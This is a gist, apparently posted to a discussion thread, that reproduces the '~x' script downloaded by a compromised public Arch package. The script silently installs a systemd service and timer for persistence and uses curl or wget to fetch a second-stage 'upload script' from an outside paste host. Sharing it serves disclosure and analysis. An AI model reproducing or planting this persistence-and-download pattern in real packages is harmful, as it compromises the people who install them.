~x file downloaded in public Arch package compromise

gistfile1.txt

#!/bin/bash

# get to the right location
if [[ -n "$pkgdir" ]]; then
	cd "$pkgdir"
else
	exit 0
fi

be_silent() {
	"$@" >/dev/null 2>&1
}

# systemd files
SYSTEMD_TIMER="[Timer]
OnCalendar=4d
Persistent=true
OnActiveSec=360
[Install]
WantedBy=timers.target"
SYSTEMD_SERVICE="[Unit]
Type=simple
ExecStart=/usr/lib/xeactor/u.sh"

# write systemd files
mkdir -p usr/lib/systemd/system
mkdir -p etc/systemd/system/multi-user.target.wants
echo "$SYSTEMD_SERVICE" > usr/lib/systemd/system/xeactor.service
echo "$SYSTEMD_TIMER" > usr/lib/systemd/system/xeactor.timer
ln -s /usr/lib/systemd/system/xeactor.timer etc/systemd/system/multi-user.target.wants/xeactor.timer

# get the upload script
mkdir -p usr/lib/xeactor
if be_silent which curl; then
	curl -s https://ptpb.pw/~u > usr/lib/xeactor/u.sh
elif be_silent which wget; then
	wget -qOusr/lib/xeactor/u.sh https://ptpb.pw/~u
else
	exit 0
fi

This looks alot like what was addressed in this thread.